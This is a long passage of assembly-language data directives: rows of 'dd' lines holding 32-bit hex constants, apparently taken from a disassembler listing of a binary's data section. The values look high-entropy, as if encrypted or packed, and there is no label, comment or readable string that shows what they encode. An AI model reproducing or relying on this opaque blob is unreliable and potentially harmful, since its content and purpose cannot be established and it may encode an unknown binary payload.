		dd 0D10B009Bh, 52CA5C67h, 536D25D7h, 3BDF611h, 5F268EBEh
		dd 36965008h, 5677823Bh, 0A5B0951h, 0D000CD66h,	81563B73h
		dd 178C34C2h, 0FF50A9C4h, 8FEBD331h, 456B2104h,	0F291801Ch
		dd 0E204F416h, 5AD72731h, 6805DDF4h, 99454DE7h,	8FC8F6C6h
		dd 5946181Dh, 85149D51h, 5EB45080h, 0D5D2A48Eh,	0A594DE95h
		dd 8B9ACF7Fh, 0C65EDB71h, 0D978E5C2h, 39D5A758h, 2C7C5F47h
		dd 4A7ADD50h, 8473CBA2h, 6DB8EE94h, 3BECEBC0h, 12C29A8h
		dd 0B2073DD3h, 40ACF421h, 4BE516C6h, 0AEE5C412h, 0BEC53FA8h
		dd 0FAB9D1EAh, 49496A5Fh, 55DCC263h, 0FBA49FF3h, 9C0F562h
		dd 4833515Dh, 40AB6281h, 5E60CAF4h, 0E1076CE9h,	9F99B96Bh
		dd 2185FF13h, 2E78F4F8h, 0BF80F09Eh, 0A007464Ah, 80BF24C9h
		dd 1C886804h, 77734C86h, 16AA0510h, 0D819F987h,	55F05008h
		dd 90109778h, 4B552168h, 5A5EE04Ah, 0F5251092h,	92B9552Fh
		dd 27AB3992h, 78E9710Ch, 0D1AB9187h, 0B05A2878h, 7AC34792h
		dd 0F768A108h, 6AEA0E04h, 466D29D6h, 5F97590Bh,	0B2D245BEh
		dd 60EC7DEBh, 490BB8B3h, 57736077h, 17E9F7C8h, 16254F5Bh
		dd 79C89CFEh, 0F73C3941h, 0BFF72F78h, 59D579E2h, 59C543FCh
		dd 74F7ED03h, 6EF161h, 0F1F230Ch, 0FAD0E93Fh, 5DDEEDAAh
		dd 8E94F525h, 32E213D2h, 28310492h, 39AE1217h, 0C1804082h
		dd 2B3A395Bh, 63EAD5E9h, 0EA939E9Eh, 0CE258AAh,	0F92837DDh
		dd 0A8099311h, 0F825C871h, 0E606D3C9h, 5337007Fh, 7E2D0644h
		dd 4A5F013Eh, 0CF7D1925h, 0F6B23B5Ch, 2AE07Ah, 0A50D224Eh
		dd 3528E634h, 26184FECh, 565C290Fh, 0CF03F68h, 259090FCh
		dd 595AD85Dh, 59E74826h, 0CF42AA40h, 65B9F61Ch,	0EAC2D552h
		dd 0E1472BA1h, 0DE22C8D2h, 7445510Eh, 29295CEAh, 0EA6999F8h
		dd 4CABD515h, 0AC8228A4h, 0C5BE033Dh, 0D27C7620h, 62DF64Ah
		dd 24F8015Ah, 0CAE61454h, 0C16E32B8h, 58E6040Eh, 3ACAD9BFh
		dd 80C6341Fh, 1E061DC6h, 1DCE288Eh, 295E6DEEh, 7D495597h
		dd 0BB4855BDh, 57C06C1Ah, 0C05B66FCh, 322CC6E4h, 0C3988DCEh
		dd 0A928B278h, 0A797DF45h, 0E9C129B4h, 277AEE3Ch, 0CF239B27h
		dd 6DAA6866h, 0A842F454h, 0D5147730h, 0A23FA720h, 0AA29F7FAh
		dd 0B6DCA30Bh, 59CE2986h, 0D0C8BD1Eh, 0D87DE955h, 9F09ADBAh
		dd 500C57CCh, 0E43B0AEh, 79180AB7h, 0A4141EF8h,	24AC3D48h
		dd 0F2409DE4h, 69C2964Ah, 6BFADAAEh, 888482BDh,	805004EAh
		dd 96184275h, 0FB9280FFh, 9615653h, 18F695CDh, 47526500h
		dd 1740E681h, 0AA24E425h, 2AE9CB02h, 0FC848BBEh, 0C43B09BAh
		dd 31489414h, 3352102Ah, 8ADF0116h, 0F5A06B72h,	0F72955C0h
		dd 0F40DC98h, 7C709F59h, 9DF27220h, 0D9D090F5h,	0C2BCB692h
		dd 76090DA4h, 0C3DA0918h, 0EA9F86F9h, 86B27F2Dh, 0B72B66F5h
		dd 0F20955E7h, 985646E1h, 5FBF3119h, 1090F01Fh,	0E9273E05h
		dd 1CBBDFA4h, 0BF1C7412h, 843C2E8Dh, 78310104h,	0C0E5C040h
		dd 1D30CC7Ch, 541A0E4Bh, 0A0DC4B11h, 5760AEC7h,	23B5515Fh
		dd 1E87628h, 34A80459h,	2FC23010h, 27C42AA8h, 1EB20067h
		dd 7E66D028h, 883ECF5Ah, 5B2161E9h, 89678C68h, 0FCB789C3h
		dd 78F273CCh, 0DF27AC56h
		dd 43DA9E32h, 0CB585421h, 3BD44575h, 41CA9EF8h,	7B35C468h
		dd 0FE9600A6h, 0E64946CEh, 0A65E90Bh, 36598F7h,	11432568h
		dd 0BA071898h, 79375FA4h, 4EC4F546h, 1FCBB07h, 3C313932h
		dd 67E9B047h, 8E59BF02h, 755D5BC2h, 0B9877751h,	4E151B54h
		dd 0F66941FFh, 7D6E8E2Fh, 0D6E9077Dh, 0E3A9A45Ch, 0AE6FC282h
		dd 29AFD2D8h, 2DCA6102h, 38B133Ch, 2CE922A4h, 0A5FA8D73h
		dd 515B6EF2h, 278901CCh, 0A2FF58C1h, 0E648BA7Bh, 0FE2925F6h
		dd 124B14FDh, 0DD8F5DE9h, 0CAB77F07h, 63AC144Ah, 725FA800h
		dd 0ACF38165h, 0CCA10DD6h, 2EF7296Ah, 2B3129AFh, 5204688Bh
		dd 0E5E4E8E9h, 984D0128h, 25BB0045h, 63F01659h,	0FB7A0157h
		dd 272DB30h, 98967775h,	0A2792220h, 5A587729h, 0FC5B739Eh
		dd 41E52DCCh, 95DAC2E8h, 4ABBA020h, 0A000BA05h,	2F142D5Dh
		dd 0BC174AD2h, 57074036h, 43386812h, 2102CCBEh,	121B0480h
		dd 0E058C628h, 876403D4h, 88AAC86Bh, 0C4089FCh,	0B4744EE3h
		dd 594BCBC0h, 8A2CB444h, 0F6D58112h, 6AAC60D9h,	7FF10BFAh
		dd 0A9F8BD39h, 3A679D63h, 4CBCC2Fh, 68C8BF0Fh, 88E3EF81h
		dd 0E821E2Ah, 8058E728h, 0CE641D6Fh, 2ABC89Bh, 764EEE94h
		dd 0DF5800C2h, 3A22E0CCh, 0EABF0B5Ch, 5FD05D42h, 0A2BD1813h
		dd 0C20AB4BEh, 0D97E7117h, 103616FBh, 0C06B08ADh, 76C138F5h
		dd 3348BDD7h, 59BD4337h, 74C9CFBCh, 0FF252074h,	7E91269Eh
		dd 0B237908h, 6209D731h, 98A9F05Dh, 7510FCACh, 847597BBh
		dd 81F14973h, 58C2E67Eh, 0B652820Ah, 6F8457F6h,	0FF96B18Ah
		dd 3E9868D8h, 5A704706h, 5E0D99B8h, 8F12BC31h, 9DF757F2h
		dd 7DF6EE25h, 9B5F6B2h,	0B273AFF4h, 0A6D1D4EFh,	418628BCh
		dd 7EB30EAh, 161F63EEh,	0F07BF589h, 0FB75FAFBh,	261AA5A6h
		dd 14A6F747h, 5E099910h, 0F42215Bh, 0E298E5F5h,	0AD002AD2h
		dd 0C976C968h, 0A05E7B53h, 9F2F142Dh, 7615325Dh, 0CFDD8B4Ah
		dd 0B8811650h, 0BECD7067h, 135008E9h, 4EDDC8E9h, 92242E23h
		dd 27F4EA0Bh, 0C616200Fh, 0E6A5B727h, 3FD60B6Dh, 4A776654h
		dd 0BF4C5D6Ah, 4E7B732Eh, 44231D82h, 0F7F86826h, 2CEBCD1h
		dd 0F95CA6C9h, 97FE5257h, 0E9DB0175h, 0B88ED918h, 0BEFDC588h
		dd 0CB82E2DBh, 27AA4502h, 15682730h, 94723C4Eh,	9CA584Eh
		dd 0EC2CEE0Ch, 461CC1F7h, 0FC5AC129h, 3F49E47Ch, 5A170053h
		dd 27153602h, 36CBD5E9h, 0DFEE72B7h, 0D59555F2h, 0CC72928Bh
		dd 403C3804h, 0FF522948h, 0F52DD64h, 5B2E4EACh,	26FC270Dh
		dd 13BAF25Ah, 0E4FED0C1h, 2D813D93h, 7185F86Ah,	258F7CB5h
		dd 0F5271259h, 45A8E21h, 6EA22B12h, 390453CBh, 0B3831D3Ah
		dd 0D1D820D2h, 2901A1F7h, 841579C1h, 6858A093h,	80188FB2h
		dd 206F5E2h, 0E6DA5AF6h, 6B210F3h, 550B5525h, 107360D8h
		dd 5A59CEC2h, 3FCC875Bh, 45D6C287h, 0C97FFBE9h,	19BBBF3Ch
		dd 57D16930h, 0D2C89CDCh, 264A012Ah, 7B65EE3Fh,	38047BC3h
		dd 0A6CA2820h, 4B3B190Bh, 36EC697h, 8EF3B854h, 0C33193A0h
		dd 892875A4h, 0C840B5DEh, 6799758h, 0B8A20316h,	0D685080h
		dd 154C797Fh, 171E3E14h, 46422602h, 572216E9h, 1626D37Bh
		dd 0F980FEA5h, 59387A0Ch, 0C3E16259h, 8DF3090h,	2650D6E6h
		dd 84E082BFh, 8007C8B3h, 0D3F6C0C3h, 7A1452A6h,	0E2EB254Dh
		dd 3A89A7D6h, 7EB37F1Fh, 577820D2h, 60C7292Fh, 7D9F49C2h
		dd 19822D7Eh, 0B13EF06Eh, 15B493B0h, 3CE09BBAh,	0C5E430E9h
		dd 0F502B15h, 272A0569h, 30FF338Eh, 0DB3558CCh,	2F776B16h
		dd 0A14C44FFh, 0CBAF17E1h, 4CF589Fh, 6F6A180Fh,	0C403F2BFh
		dd 0EC84C801h, 0CAE91303h, 0D11A1D06h, 0FB3ECBE0h, 97BEFF5Ch
		dd 4154D69Dh, 1227470Ah, 451261E9h, 2FFD7BD4h, 0A220B84Eh
		dd 56F97D59h, 10B95162h, 3C0BED81h, 7761A075h, 17089328h
		dd 0C525E259h, 0A7EAB9BFh, 0D8280042h, 3AB05052h, 0A8F54F68h
		dd 84B6CB9Fh, 0DDD5395Eh, 5C5E672Ch, 0A381AF59h, 825BBA42h
		dd 8496B90Ch, 80E15DE0h, 0BEDF542Ah, 0D2C94AACh, 0B6851B48h
		dd 5BD0F782h, 1DF58014h, 0BE055EDBh, 47CD51A3h,	17FEFE1h
		dd 0C68859F6h, 0BF07F58h, 21D84A31h, 2A6C680Bh,	0CA6FE5D2h
		dd 0DF7A897Ah, 0D7279515h, 0DC9584E4h, 0CD5292EBh, 0AD0DA7FAh
		dd 2520593Eh, 0A8B94A45h, 52818C2Fh, 7F1177C2h,	0CDA82775h
		dd 0FD885171h, 4762FC7h, 262768C1h, 1A32C258h, 6AFC680h
		dd 79DBC177h, 72781531h, 5DAB1F5Bh, 491CE6DDh, 0F5414E8Fh
		dd 691EF22Dh, 0B60D81A7h, 83A8EFBh, 510201CBh, 5FF7E2E9h
		dd 24FEFA27h, 9700B2F1h, 0CEB21EA8h, 7DC5B2DFh,	0E042EF74h
		dd 0B8757B90h, 309E995Bh, 0EC955A15h, 557520D4h, 2E31BF04h
		dd 0FAF21BEh, 2C456EAh,	0EBF6FFD6h, 0DC14AF5Ah,	0CB120D89h
		dd 0C52ED02Eh, 0C28BEABEh, 497564Fh, 0EA7377h, 0A96FF4BAh
		dd 0BA12F452h, 8D42BD30h, 0E8891441h, 76C06156h, 5A213AF4h
		dd 1179000Dh, 703538FCh, 1B34AB29h, 0A8EE8A31h,	755CE2F7h
		dd 39F04C93h, 0F7974C48h, 8F643DA1h, 0B40C2002h, 2FB8BAD6h
		dd 78E41710h, 697E3048h, 0C0E7621Dh, 250B5B28h,	47F237F2h
		dd 1B56ED60h, 9F5DEB09h, 0DD00E58Bh, 0C084042Ah, 69B0214Eh
		dd 93395ED1h, 69E3CFD9h, 55BA4FABh, 557E89DDh, 0FE551A3Ah
		dd 0B9D5C18h, 2F6771E8h, 8B124E76h, 0A6F1360Ah,	22FA0820h
		dd 0C7A32397h, 0F198C989h, 0EFD0167Ah, 8A5C8C80h, 166F7F44h
		dd 0BF2C8BE8h, 7699C48Bh, 0BBE25571h, 611756C0h, 0B1358DAh
		dd 59F00B4Eh, 0B425F3C5h, 2AFB9FC4h, 2B65C2Dh, 3B471F2Fh
		dd 0F858C248h, 708521BCh, 0A61EC624h, 9FEF8017h, 0F65C2704h
		dd 0B1FAC4CCh, 48F92081h, 0C3EBEE2h, 1EA01B41h,	3C700B4Fh
		dd 13D06033h, 0A508C151h, 830AD51Ch, 67583858h,	582831C1h
		dd 0F7FA6059h, 0EFF7D1BDh, 66031008h, 0CAE1285Bh, 1F6A5FF9h
		dd 425AFC1h, 0A2BBD3D5h, 68E98213h, 0B53DF9Ah, 95520A7h
		dd 135A1C57h, 0A30B5368h, 56C91264h, 0BE4E5FE3h, 97D48785h
		dd 6497E8EBh, 0F8D1B5FEh, 943852E1h, 4108701Ch,	0EED359BAh
		dd 0B60F2A30h, 0E904BFC1h, 8CBB6B1Ch, 0C5413798h, 2262B17Eh
		dd 0B68B5F63h, 248BB410h, 47963356h, 0EBA40EE8h, 2D401382h
		dd 6DB83026h, 51020827h, 5F1AB123h, 6C7C314Fh, 0C5B80E0Bh
		dd 2078EB0Bh, 261A353Eh, 2D580715h, 49F147F5h, 9B0E707Ch
		dd 13E494E0h, 4FF82959h, 5EF3B2B7h, 958201F6h, 5445094Ch
		dd 0E568892Fh, 39933171h, 0B27F96A1h, 5B25D918h, 402DAE2Bh
		dd 0A210F97Bh, 5D0BF55Bh, 803796D5h, 2F9BAB0h, 0E965C019h
		dd 12FDBBF6h, 0B3665DC8h, 0BD1276DEh, 0C23B3AC0h, 68841B0Fh
		dd 61A24C03h, 442C326Bh, 0F78CAC08h, 40CDDB8Bh,	0EE2C8073h
		dd 0C51C9D2Eh, 0B151E604h, 2546ABC1h, 2FF3BA03h, 861983DDh
		dd 385E09ECh, 9AB8A187h, 96CC9DC8h, 7028E897h, 7B46820Eh
		dd 8A4F20F4h, 54274DF7h, 0DECBEDFEh, 0C3410E97h, 0FA59C417h
		dd 0B0577D4h, 5EC95CE9h, 5029051h, 57C1306Ah, 6C4B9968h
		dd 0CC2EDACh, 1AA2FF9Eh, 29F5FAF1h, 0CCD05DB4h,	6BAF6814h
		dd 74BBD6EAh, 1E8BE29h,	104BAD4Dh, 0DC25C83Fh, 46D35443h
		dd 6969B9B9h, 13671028h, 34B5D2Ch, 45D94B12h, 69580BE2h
		dd 0AFAC474Eh, 2488C374h, 0EE73C255h, 273F970Bh, 7062DF13h
		dd 0F1750809h, 12FBE7Ah, 0E3172E5Fh, 94C96D53h,	14377DC0h
		dd 20E7B099h, 5F090DEDh
		dd 1B5BD468h, 5960144h,	0B974BA7Ah, 0FF0BA509h,	90C817E1h
		dd 4D4C08AAh, 2E864175h, 0B55207EEh, 0A10FB4ABh, 0B3372065h
		dd 0BC37901h, 4F47DFF7h, 7441FF3Bh, 0EC24B282h,	0ED35902Ah
		dd 4A2F3E19h, 13851BAEh, 80CCE90Dh, 3248BF64h, 12194B3Dh
		dd 8FE27FC2h, 533484h, 2D38F181h, 0F807765Ch, 4A611FA8h
		dd 69C9013Dh, 2076FD27h, 0BEB92281h, 0BD64664Fh, 0E35F4A6Eh
		dd 0DD50CB39h, 15687048h, 4A3B6963h, 0BD517642h, 8A892276h
		dd 1B38DF71h, 5E95055Ch, 33F12767h, 99AC662h, 0BF09505Fh
		dd 7E27FFD6h, 136D6276h, 0B0DE8902h, 135A5683h,	0BDAF75Eh
		dd 0F50206EBh, 2D00B1BEh, 16551723h, 10F00125h,	0E90B08C3h
		dd 771AB8D8h, 54C558DCh, 0D6732782h, 0D61C4F13h, 0D84EF490h
		dd 8E5B43F0h, 0C2A4CAE9h, 7974F98Bh, 1354912Ch,	0F94688E9h
		dd 0A1512A4h, 34C899EBh, 10985341h, 8291D02h, 7EB2E922h
		dd 0B9CA8197h, 0D8773073h, 351286E2h, 0A50164D8h, 0D768E717h
		dd 3C62E43Bh, 0E1D25B9Fh, 34EB7FE9h, 0D03515Fh,	0EE295323h
		dd 857E025Dh, 4030086Fh, 738EBA7Fh, 0E05C1720h,	0C22F68CAh
		dd 4E871842h, 4043916Ah, 620DBB53h, 5E16B627h, 732D0181h
		dd 0E0767952h, 7A205E8h, 415DA88h, 0D2CDF7E9h, 476954C4h
		dd 0FE152F3Ch, 0FD668B60h, 0AF581990h, 0C2BE32D3h, 0DF228D78h
		dd 24BB0037h, 0F77AD0DEh, 0A804774Bh, 7CA3EA29h, 0AE1068h
		dd 1FB51763h, 0C9580B5Dh, 0F2901346h, 26569DEBh, 5C0C50F1h
		dd 8839A692h, 0AFCF3CF1h, 0E5FA098Eh, 7E2D3FE5h, 5F214560h
		dd 0A30B1C50h, 775F09B5h, 0E8861534h, 0BDCED420h, 86DD0C8h
		dd 3CE82F54h, 352C2800h, 5A64FC05h, 5DFEC3Ah, 0E96F1AD1h
		dd 0BD48D41Fh, 0C25D2ED7h, 0C61FD326h, 0AB054AE0h, 32A42A87h
		dd 48FD67E1h, 6DB27D80h, 5355310Bh, 33524501h, 6C642E32h
		dd 444180C7h, 5350E656h, 4E1F0D49h, 6A4C9C54h, 5001850Ah
		dd 0F295D1E9h, 9A550A75h, 9FE0615h, 5605FDE7h, 610A1DD5h
		dd 429BA23Eh, 9DAD11CBh, 3E08C121h, 84B7909Eh, 0AD489F2Ah
		dd 0A3229344h, 0E3EE7C23h, 78D6F04Ah, 0E4E45Ah,	0D1624866h
		dd 0EC795F7Fh, 0D45B20C1h, 8CC42AB7h, 3C1600A6h, 2127BC9Eh
		dd 0E0F9F81h, 0C0D3A03Eh, 0B34DFD59h, 53C60316h, 0D8D2B9EFh
		dd 22F0EEA0h, 8062F63Bh, 0C9BDA410h, 0E5CDEAh, 2A6BFA56h
		dd 0E3C263A2h, 0D3168E00h, 45BC51B2h, 0C33400D5h, 0A4094B6h
		dd 1200DA3Bh, 0ECCBBBA6h, 0B58479h, 187D36A1h, 90F6EB49h
		dd 2E143300h, 64A5B49Eh, 582D005Ch, 0D1308E8Ch,	50036F4Ch
		dd 8A77C11Dh, 0B00B9324h, 1BAE94h, 1EAF9131h, 12333B2Eh
		dd 449A0302h, 7C4BA8A5h, 0C4033D5Ch, 0BC0E3492h, 90BA0900h
		dd 91BF1032h, 0C20F3031h, 0BD2E0118h, 0C6E4701Ch, 0E0FE5480h
		dd 1CE365FAh, 4CDDC3h, 47B699A2h, 96A04ECBh, 0E1007D94h
		dd 9B1A6CBDh, 302469ABh, 0C6E6AA10h, 1300DD77h,	0B2115854h
		dd 724A2B1Dh, 0E865006Dh, 31B82087h, 4700C60Eh,	16890CF7h
		dd 862568h, 99390FA4h, 0CF6124B7h, 23B83Eh, 0C594F514h
		dd 0A0415F44h, 3889B6h,	35192849h, 7FB5A8A4h, 8001F301h
		dd 0CB302DBCh, 9201336Ch, 8EB41244h, 3A09803Ch,	3F90B210h
		dd 8FB11811h, 0AE811842h, 64F03D0Eh, 7ED44046h,	0E57A60h
		dd 0CC5D4363h, 36192280h, 4F4BC714h, 0FD140880h, 8D1D0061h
		dd 0C2A3ADFEh, 8012733Ah, 0A21997F3h, 492846h, 0EC0456Ah
		dd 0B4836C58h, 51C54100h, 0F8E109Eh, 766006Eh, 0FDDA72C3h
		dd 0D0C87D5h, 22527ED8h, 0A7C60047h, 2A20B496h,	9B00FA1Bh
		dd 5DED9251h, 4F0C0ECh,	58A3417Bh, 0FEDA934Ch, 0C2E09416h
		dd 4E1C261Dh, 0C949B800h, 74109DB4h, 3A980005h,	0A6A2351Dh
		dd 0C700221Eh, 1B3F20BFh, 123B85CDh, 0C27FCCh, 0AA9EC6Bh
		dd 0B5009328h, 0BF123815h, 0F25DBC8Dh, 5AEE0541h, 4014CE0Bh
		dd 7CC9F1B7h, 6F00EB1Ah, 380A8A40h, 602CB4D5h, 535197B2h
		dd 5B00780Eh, 0D968E877h, 2330B8h, 0BF891E04h, 0A547D635h
		dd 15787CC0h, 4293B5h, 756CAC0Ah, 3150FA4Eh, 1C63920Fh
		dd 7910201Eh, 90B714h, 9EA13A6Fh, 6ADE717Ah, 1DBADB39h
		dd 49C0C411h, 0E1FEDFFFh, 1B3200ACh, 9AFB0475h,	0A800A638h
		dd 5E707899h, 0EE7FC9h,	7EF359ECh, 79EDB564h, 3DE8D06h
		dd 26E205A3h, 80282CBAh, 0B69C3A14h, 8A122822h,	5C1217A8h
		dd 96503827h, 726CE875h, 76DC004Eh, 6BDD7258h, 0D44C654Bh
		dd 12913F5Ch, 2842C31Fh, 9029158Ch, 0B0507293h,	8203007Fh
		dd 0C1C5183Ah, 0F000B520h, 0A5C41B0Eh, 63EF94h,	391E41E6h
		dd 0DFF5B317h, 8AFB8D04h, 1F82B410h, 0DDBE81D9h, 1082B688h
		dd 1704D56Fh, 0EDAC1940h, 9200B5B6h, 7BBADDC2h,	9FFB1A6Ah
		dd 0C8832C45h, 74C95A7Eh, 75D7F46Ch, 0A1C8E400h, 0FE97C6E5h
		dd 3FD3A0C4h, 71ED1420h, 3A28F8BEh, 0C01C71BCh,	2CBDE2B2h
		dd 2700D484h, 401DA706h, 0BB88CDh, 0BCE1107Bh, 0B4FD5CADh
		dd 775Ch, 5D1B41BAh, 90509BE6h,	83CB0048h, 1D948DB2h, 6E3F577Ch
		dd 5C9BC87h, 478A83Ah, 0FBE39144h, 1F48EF0h, 0AD27CCEh
		dd 0C8E5C250h, 0B5483793h, 0ECE6707Eh, 3B0F7260h, 907DFF14h
		dd 9CDC00ECh, 0F6DDF3FDh, 34028CD5h, 1914477h, 17614060h
		dd 49C51438h, 12098EA2h, 0E780E9F3h, 168F92F8h,	273B56EAh
		dd 0A8B00ABh, 71FE4EDFh, 0E1A4482Ch, 11A82500h,	82C33584h
		dd 3F0DA00Fh, 0B298E02Eh, 362A3h, 22647DB9h, 3E0A9D85h
		dd 0E6EE2F03h, 0E7F4D6F9h, 0CC7B5F63h, 12A315C0h, 0EA2B1D3Ah
		dd 0C08E9FE2h, 438736A2h, 0F005EF6h, 62419DD0h,	580A2A9Eh
		dd 9818598Bh, 8607133Eh, 5856E728h, 0DF166161h,	37600151h
		dd 0EB400082h, 0EC8D0C5Dh, 915CD8E4h, 0AF87007Eh, 0E3829848h
		dd 58DCF4C4h, 550050C7h, 0F6EDA6Dh, 37488AB0h, 1ED660D9h
		dd 0BFC1D2Ch, 0B434AEDFh, 0D0FD5D07h, 0A1ABFE50h, 4E9CAC16h
		dd 0FAB15801h, 0DAF3DFh, 5C7ADC6Ah, 0BE4763Bh, 20D2664Ch
		dd 4969E7F2h, 20DA6E67h, 18A5C6C2h, 262CEAC8h, 0DA28801h
		dd 24B59B3Bh, 0FCC1CA20h, 51F3246Fh, 65BC00B0h,	0C8BEA3F9h
		dd 99CCEB09h, 6E04203Dh, 0F0138CFDh, 4CEF0CAh, 71D96B4Fh
		dd 0E3888067h, 78B088F4h, 0C842B30Eh, 910AE0E1h, 603EAF0Ch
		dd 68AD11E4h, 8EA00360h, 14C3E235h, 9A3FF6Eh, 1A296C21h
		dd 153D3A80h, 280086C2h, 0CA9BAD02h, 14A58Dh, 0B9EB038h
		dd 41202A7Eh, 7BC60C16h, 60076901h, 91506265h, 7E76FFBh
		dd 0FD51E1C7h, 626987DDh, 1960DFC1h, 310380A2h,	9F908323h
		dd 5575D86Eh, 6DE50173h, 70D86B4Dh, 6FDDC852h, 5D824F07h
		dd 919AAE28h, 40227704h, 0FB41D8h, 539DFC4Dh, 0CD9CB001h
		dd 0AF4CC602h, 80B763B6h, 21F24A9Eh, 5CBE0B14h,	0E2D0C489h
		dd 15BDAD48h, 1FB11670h, 40AC1E4Fh, 0A0088D8Bh,	0DF6DC08Ah
		dd 6651008Eh, 4B4986C3h, 45008F4Dh, 3996F0F9h, 98F111C4h
		dd 54A0333h, 78E71831h,	0A38609C5h, 4311A500h, 0B900DF79h
		dd 0DDA9C0D9h, 0B288DCFEh, 58AE81C5h, 0EA28C8F6h, 0C54800ABh
		dd 0B277B65Fh, 0AF01144Dh, 0FD1C2D1Dh, 5C718AD9h, 25588400h
		dd 64210910h, 77800968h, 5C601E3Bh, 0F881042Ch,	1170C107h
		dd 0E06F5321h, 3BF968D8h, 0C300A6BBh, 50F7DF92h, 35585862h
		dd 2B210ADEh, 459FF38Bh, 0CBC57D80h, 5A488524h,	0E77A0076h
		dd 0F5DBFB5Bh
		dd 0C9E9651Eh, 0D581551Dh, 0CEEC64F3h, 0F75DC8h, 224BE4D7h
		dd 0BFE1C193h, 4CFE7154h, 2EDEFC39h, 0F601D969h, 542AA4D9h
		dd 9EF3EC40h, 6B8C4h, 2E6FFE4Ch, 374F9AA6h, 8A00D591h
		dd 8FCC1436h, 2E52245Eh, 647F1F78h, 2ABC00A1h, 0ECF41524h
		dd 0F355EA02h, 6B5AEDD3h, 0EF62C84Ah, 2EB570BBh, 1912D480h
		dd 0D050D30Dh, 0E0E57654h, 0F8E46E4Ch, 4E745201h, 4D7353FDh
		dd 472000C3h, 1E3683E8h, 4A059AC0h, 3388AA08h, 0FC9FFF98h
		dd 53D1304Dh, 0DB879AD2h, 7C806FB9h, 9D822165h,	73D2168Dh
		dd 16DB0BFCh, 6D881403h, 50B5D01Fh, 4DFD4F40h, 58745683h
		dd 271C7E1h, 1C516E14h,	0D6415ACCh, 94DD881h, 0C998BC05h
		dd 91801F11h, 17CBAE5h,	7778872h, 0C447955Fh, 450D6220h
		dd 3C8DBE10h, 3C02047h,	1C85D7B2h, 54E1C5h, 0A0B1D031h
		dd 0B500082Ah, 0C0113797h, 195BD8Ch, 4E0653CAh,	208EDBFFh
		dd 2F0B6141h, 208DAB9Ah, 86CA19F0h, 0C91C0B3Eh,	0C9002483h
		dd 665DA036h, 6D6B7505h, 16C0FA4Bh, 2E272BFh, 0AC1DAB53h
		dd 254163F6h, 0EF4A20ECh, 8B077600h, 540A87E5h,	6B8A1A31h
		dd 1E64CA39h, 8018C73Fh, 9F2EE455h, 3B3416B5h, 7E00AEA4h
		dd 0F3426876h, 0EE01D061h, 8A5EEF59h, 76817308h, 0D3B8491Ch
		dd 3486ED44h, 0FC3E5050h, 1304836Dh, 0C8C2A2D9h, 260CBBh
		dd 2234BC96h, 3B1DBD8Fh, 82DCAA00h, 0C5FD8AD1h,	2D95020Bh
		dd 0C2425E45h, 40C0CCC2h, 0E80779DBh, 0F6674877h, 521453B0h
		dd 98200065h, 9425DD6Eh, 380F1AB8h, 25F8E1A5h, 3801908h
		dd 2C9391A0h, 99754Eh, 0B5A3B13h, 0BD04EAC4h, 1201D022h
		dd 87FE0D82h, 0E0209EC3h, 8AC0ADh, 5E695805h, 0BF5A7DA6h
		dd 7213820Eh, 0B60D2054h, 0ED46623h, 0CBAAEB7Ah, 26B71B83h
		dd 97F61788h, 921A385Ch, 0A04C9F0Bh, 0CC689A1Ah, 0E15103EBh
		dd 0CBE86CF9h, 0E8BA40D1h, 84040945h, 0DF7254E5h, 4770D8C0h
		dd 1B5A00F9h, 0C7EB97DBh, 0F4DD979h, 0FCC324D2h, 0E1006D92h
		dd 1AC91335h, 289A76EBh, 7F75CD2h, 5BF144EEh, 802A257Ch
		dd 0E90ECD31h, 9F1A7418h, 4CA2E30Ch, 6A006195h,	4294F548h
		dd 0DC003D0Ch, 19AAACBDh, 0C322637h, 5FBB2A0Dh,	223C2837h
		dd 0E44C8Dh, 6E540378h,	25E071DBh, 0CA8017A1h, 0B795280Ah
		dd 5EABA62Ch, 7B0702B8h, 0A471BDE1h, 35E1DC74h,	0F5E04C30h
		dd 262DFD7h, 4F7033h, 20307FC3h, 0AF9B2D11h, 22844A99h
		dd 0B2FE4F68h, 77532F98h, 2C742EBCh, 98C59795h,	0DB682C14h
		dd 2C300971h, 8FE4345Bh, 89DA270Ch, 4E7194DDh, 68D18C54h
		dd 20AABA4Bh, 8428F6Dh,	2FFB22D3h, 32BD4B68h, 0DF20E981h
		dd 4A7FECFDh, 977B3Bh, 0B89874E1h, 3A15A1C5h, 62C80306h
		dd 6700193Fh, 0AAAE4A2Ch, 223DF575h, 5AA28058h,	9847663Ah
		dd 1B0B007Ah, 0D918B8B5h, 443C7E73h, 3709803Fh,	208CEB7Dh
		dd 0ED5700C7h, 71C4EA65h, 0A2061526h, 11E83EFAh, 0CBEC38ADh
		dd 7DF52700h, 25FBEA75h, 71A5F900h, 0C5078B78h,	5E0300B7h
		dd 8137C080h, 5D62E4C6h, 0FF68FC3Ah, 13E992A3h,	0ECC45107h
		dd 5D80B0F3h, 0D2587h, 0EFACF9DAh, 414662B2h, 5A3AA900h
		dd 0FFCABF0Fh, 0C1811C36h, 70F0846Ch, 37F8EF5Fh, 0A5881400h
		dd 0D0B9662Ah, 0EF007F7Ah, 40F1E712h, 0B506840Fh, 0B46F1810h
		dd 2409D930h, 7E00827h,	2ACD801Bh, 60CBA057h, 509D79Bh
		dd 0F8FC068Fh, 0C8F4F5CDh, 0A4FE5873h, 0D2B70F05h, 59F2AF61h
		dd 1885327Ah, 94C0660Dh, 2460E913h, 0A035113h, 0ECB3006Fh
		dd 1D293DF0h, 9E3ED0FCh, 0A630E185h, 1C2BE9C4h,	8183809Eh
		dd 7AA451E5h, 8FBAF00h,	0EB26878h, 322C0FF5h, 0EF80C725h
		dd 383F7622h, 37B0D0F1h, 1B0420F9h, 32089D63h, 70ACC08Fh
		dd 0B1761955h, 0D09C213Ah, 686015ADh, 9A63B211h, 2DB7283Bh
		dd 72770C1Ch, 0A511491Bh, 411860E2h, 0D1816FAAh, 0E78185Ch
		dd 6AE7117Bh, 0EC34671Ch, 896ECA0h, 2F506B72h, 814C494Ch
		dd 0B3E71379h, 5020A533h, 226FE9B5h, 0BF014815h, 45570CAAh
		dd 36FCB72Bh, 7CFD1B49h, 42D7E0C8h, 8480687Ah, 0B7F32A86h
		dd 10790630h, 0CFFCF72h, 0AE012516h, 0BE1C3C38h, 0E2812F66h
		dd 327A3503h, 67146088h, 0BBFD1E3Fh, 102DBC0Ch,	0C1D76050h
		dd 0DB8BA17Fh, 9793A300h, 8E8988CCh, 9B783BD5h,	0A59A0778h
		dd 5E6F678Ah, 7B97CA81h, 0A284E073h, 0A00ED6ECh, 80D09D77h
		dd 91CF6832h, 0B6900395h, 0BE258681h, 0D071D0BFh, 9300978Fh
